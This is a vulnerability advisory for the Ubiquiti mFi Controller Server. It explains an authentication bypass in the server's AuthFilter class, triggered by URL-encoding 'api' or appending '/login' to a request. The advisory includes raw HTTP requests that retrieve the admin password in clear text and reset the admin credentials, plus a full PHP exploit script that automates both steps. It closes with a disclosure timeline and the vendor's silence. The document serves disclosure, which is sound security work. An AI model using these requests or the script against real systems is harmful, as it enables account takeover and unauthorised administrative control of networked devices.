SSD Advisory – Ubiquiti Networks mFi Controller Server Authentication Bypass

(Update: We are republishing this after removing it – as requested by the vendor – but as the vendor has not responded nor provided any progress in the last 30 days, we are making the information public again)
Introduction
mFi hardware and software combines plug-and-play installation with big-data analytics, event reporting and scheduling to create powerful relationships between sensors, machines and power control.
Vulnerability Details
Ubiquiti Networks mFi Controller Server installs a web management interface which listens on default public port 6443 (tcp/https). It offers a login screen where only the administrator user can monitor and control remotely the configured devices .
Because of two errors inside the underlying com.ubnt.ace.view.AuthFilter class, it is possible to bypass the authentication mechanism and have access ex. to the “ApiServlet” servlet.

Example requests:
1)

POST /%61pi/v1.0/list/admin/login?fmt=json HTTP/1.0
X-Requested-With: XMLHttpRequest
Host: [host]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: [data_length]
Connection: Close
json=%7B%7D

This will give you the clear text username and password of the application in JSON format. An ‘_id’ field is also retrieved, this will be useful in the following request.
2)

POST /%61pi/v1.0/upd/admin/[id_field]/login HTTP/1.0
X-Requested-With: XMLHttpRequest
Host: [host]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: [data_length]
Connection: Close
json=%7B%22name%22%3A%22[USER]%22%2C%22x_password%22%3A%22[PASS]%22%7D

This will reset the administrative credentials. Both username and password are changed now to values of choice.
The trick is encoding the ‘a’ of ‘api’ and appending ‘/login’ to the request uri.
Given this, a remote attacker could then login and perform unauthorized operations as administrator through the secure web interface.
Vulnerable code
See C:\Users\Administrator\Ubiquiti mFi\webapps\ROOT\WEB-INF\web.xml:

...
<!-- API Servlets -->
    <servlet>
        <servlet-name>ApiServlet</servlet-name>
        <servlet-class>com.ubnt.ace.api.ApiServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>ApiServlet</servlet-name>
        <url-pattern>/api/*</url-pattern>
    </servlet-mapping>
...
...
<filter>
        <filter-name>AuthFilter</filter-name>
        <filter-class>com.ubnt.ace.view.AuthFilter</filter-class> <---
        <!--
		<init-param>
			<param-name>skip</param-name>
			<param-value>false</param-value>
		</init-param>
		-->
    </filter>
    <filter-mapping>
        <filter-name>AuthFilter</filter-name>
        <url-pattern>/manage/*</url-pattern>
        <url-pattern>/wizard/*</url-pattern>
        <url-pattern>/api/*</url-pattern> <---
        <url-pattern>/op/*</url-pattern>
        <url-pattern>/dl/backup/*</url-pattern>
        <url-pattern>/dl/support/*</url-pattern>
        <url-pattern>/upload/backup/*</url-pattern>
        <url-pattern>/login/*</url-pattern>
        <url-pattern>/logout/*</url-pattern>
	<url-pattern>/login-api/*</url-pattern>
        <url-pattern>/mobile/*</url-pattern>
    </filter-mapping>
...
now look the decompiled com.ubnt.ace.view.AuthFilter class:
...
package com.ubnt.ace.view;
import com.ubnt.ace.api.A;
import com.ubnt.ace.api.ApiServlet;
import com.ubnt.data.Admin;
import com.ubnt.data.X;
import com.ubnt.service.ServiceLocator;
import com.ubnt.service.system.DbService;
import com.ubnt.service.system.SystemService;
import java.io.IOException;
import java.net.URL;
import javax.servlet.*;
import javax.servlet.http.*;
import org.apache.log4j.Logger;
public class AuthFilter
    implements Filter
{
    public AuthFilter()
    {
        D200000 = null;
    }
    public void init(FilterConfig filterconfig)
        throws ServletException
    {
        D200000 = filterconfig;
    }
    public void destroy()
    {
        D200000 = null;
    }
    public void doFilter(ServletRequest servletrequest, ServletResponse servletresponse, FilterChain filterchain)
        throws IOException, ServletException
    {
        HttpServletRequest httpservletrequest = (HttpServletRequest)servletrequest;
        HttpServletResponse httpservletresponse = (HttpServletResponse)servletresponse;
        HttpSession httpsession = httpservletrequest.getSession();
        if(D200000.getInitParameter("skip") != null)
        {
            filterchain.doFilter(servletrequest, servletresponse);
            return;
        }
        String s = httpservletrequest.getRequestURI();
        SystemService systemservice = ServiceLocator.F600000();
        boolean flag = servletrequest.getLocalPort() == systemservice.getHttpPort() || servletrequest.getLocalPort() == systemservice.getHttpsPort();
        if(!flag)
        {
            httpservletresponse.sendError(400);
            return;
        }
        Admin admin = (Admin)httpsession.getAttribute("admin");
        boolean flag1 = systemservice.isFactoryDefault();
        if(httpsession.getAttribute("javax.servlet.jsp.jstl.fmt.locale.session") == null)
            httpsession.setAttribute("javax.servlet.jsp.jstl.fmt.locale.session", "en_US");
        if(s.startsWith("/api/")) <--- [*]
        {
            if(!flag1 && admin == null)
            {
                A a = new A();
                a.o00000("rc", "err");
                a.o00000("msg", "api.err.LoginRequired");
                try
                {
                    String s3 = servletrequest.getParameter("fmt");
                    httpservletresponse.setStatus(403);
                    if("xml".equals(s3))
                    {
                        httpservletresponse.setHeader("Content-Type", "text/xml");
                        a.o00000(httpservletresponse.getWriter(), 1, "none");
                    } else
                    {
                        a.o00000(httpservletresponse.getWriter());
                    }
                }
                catch(IOException ioexception) { }
            } else
            {
                try
                {
                    String s1 = (new URL(httpservletrequest.getHeader("referer"))).getHost();
                    String s4 = (String)httpsession.getAttribute("controller_host");
                    if(s1 != null && s4 != null && !s1.equals(s4))
                    {
                        A a1 = new A();
                        a1.o00000("api.err.LoginRequired");
                        httpservletresponse.setHeader("Content-Type", "application/json");
                        ApiServlet.responseJson((HttpServletResponse)servletresponse, a1);
                        return;
                    }
                }
                catch(Exception exception) { }
                filterchain.doFilter(servletrequest, servletresponse);
            }
        } else
        if(flag1 && !s.startsWith("/wizard"))
            httpservletresponse.sendRedirect("/wizard");
        else
        if(!flag1 && s.startsWith("/wizard"))
            httpservletresponse.sendRedirect("/manage");
        else
        if(s.startsWith("/logout"))
        {
            httpsession.removeAttribute("admin");
            httpservletresponse.sendRedirect("/manage");
        } else
        if(s.startsWith("/mobile/logout"))
        {
            httpsession.removeAttribute("admin");
            httpservletresponse.sendRedirect("/mobile/login");
        } else
        if(s.endsWith("/login")) <--- [**]
            filterchain.doFilter(servletrequest, servletresponse); <--- boom
        else
        if(s.startsWith("/login"))
        {
            filterchain.doFilter(servletrequest, servletresponse);
        } else
        {
            String s2 = "";
            if(s.startsWith("/mobile"))
                s2 = "/mobile";
            if(!flag1 && admin == null)
            {
                httpsession.setAttribute("redirect_url", s);
                httpservletresponse.sendRedirect((new StringBuilder()).append(s2).append("/login").toString());
            } else
            {
                filterchain.doFilter(servletrequest, servletresponse);
            }
        }
    }
    public static Admin authenticate(String s, String s1)
    {
        X x = new X();
        x.put("name", s);
        x.put("x_password", s1);
        return (Admin)ServiceLocator.D2O0000().o00000(com/ubnt/data/Admin, x);
    }
    private static final Logger o00000 = Logger.getLogger(com/ubnt/ace/view/AuthFilter);
    private FilterConfig D200000;
}
...

You cannot do string comparisons like this (see [*]), you can always urlencode the request uri!, this is the first bypass.
Same error at [**], we can append “/login” to the request uri, this is the second bypass.
Exploit Code

<?php
/*
Ubiquiti Networks mFi Controller Server 2.0.24 AuthFilter Class Auth Bypass / Reset Administrative
Credentials Exploit
Usage:
C:\php>php ubiquiti.php 192.168.0.1 1
[*] Attacking...
[*] Username -> admin
[*] Password -> djkejfjkdert12
C:\php>php ubiquiti.php 192.168.0.1 2
[*] Attacking...
[*] Username -> admin
[*] Password -> djkejfjkdert12
[*] Resetting credentials ...
[*] Done. Now browse https://192.168.0.1:6443 and login as Administrator
    with credentials user:mypass1234
C:\php>
user
*/
    error_reporting(E_ALL ^ E_NOTICE);
    set_time_limit(0);
    $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";
    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
	function syntax() {
       print("usage: php ".$argv[0]." [ip_address] [action]\r\n");
       die();
    }
	$argv[1] ? print("[*] Attacking...\n") :
    syntax();
	if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: ".$ck ,
            "Content-Type: application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With: XMLHttpRequest",
            "Accept: */*",
            "Referer: https://127.0.0.1:6443/manage#Devices"
        ));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
          $host = $argv[1];
          $port = 6443;
          $action = (int)$argv[2];
          if (($action<>1) and ($action<>2)) {die("[!] Unknown action.");}
if (($action == 1) or ($action == 2)) {
$data="json=%7B%7D";
$url = "https://$host:$port/%61pi/v1.0/list/admin/login?fmt=json";
$out = _s($url, 1, "",$data);
if (!strpos($out,"x_password")){
   print($out."\n");
   die("[!] Unknown error.");
}
$tmp=explode("\"name\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$user = $tmp[0];
echo "[*] Username -> ".$user."\n";
$tmp=explode("\"x_password\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$pwd = $tmp[0];
echo "[*] Password -> ".$pwd."\n";
$tmp=explode("\"_id\" : \"",$out);
$tmp=explode("\"",$tmp[1]);
$id = $tmp[0];
//echo "[*] id -> ".$id."\n";
if ($action ==2) {
echo "[*] Resetting credentials ...\n";
$user="user";
$pass="pass";
$data="json=%7B%22name%22%3A%22".$user."%22%2C%22x_password%22%3A%22".$pass."%22%7D";
$url = "https://$host:$port/%61pi/v1.0/upd/admin/".$id."/login";
$out = _s($url, 1, "",$data);
//print($out."\n\n");
if (strpos($out,"\"x_password\" : \"".$pass)){
   echo "[*] Done. Now browse https://".$host.":".$port." and login as Administrator\n    with credentials ".$user.":".$pass;
} else {
   echo "[!] Unknown error.";
}
}
}
?>

Vendor Response
(Please note we are not blaming hackerone with anything)
The vendor has informed us via email that we should post advisories/vulnerabilities through the hackerone portal:

Thank you for contacting us regarding the Ubiquiti Security Team.
We have moved all of our Security Rewards program submission to our HackerOne portal:
https://hackerone.com/ubnt
If you have any submissions, please submit them there.
For any other inquiries, we will respond to you as soon as possible.
All the best,
Ubiquiti Networks Security Team

I initially thought this meant a prompt handling, however after posting it to the portal on the 13th of July 2015 and it still being on the 2nd of September 2015 in New (Open), I believe this isn’t working.
Follow up emails to security[@]ubnt.com went unanswered (while before they sent me the above response), so I believe they are ignoring the emails and “standing” behind their stance that we should use hackerone (not working) method of reporting.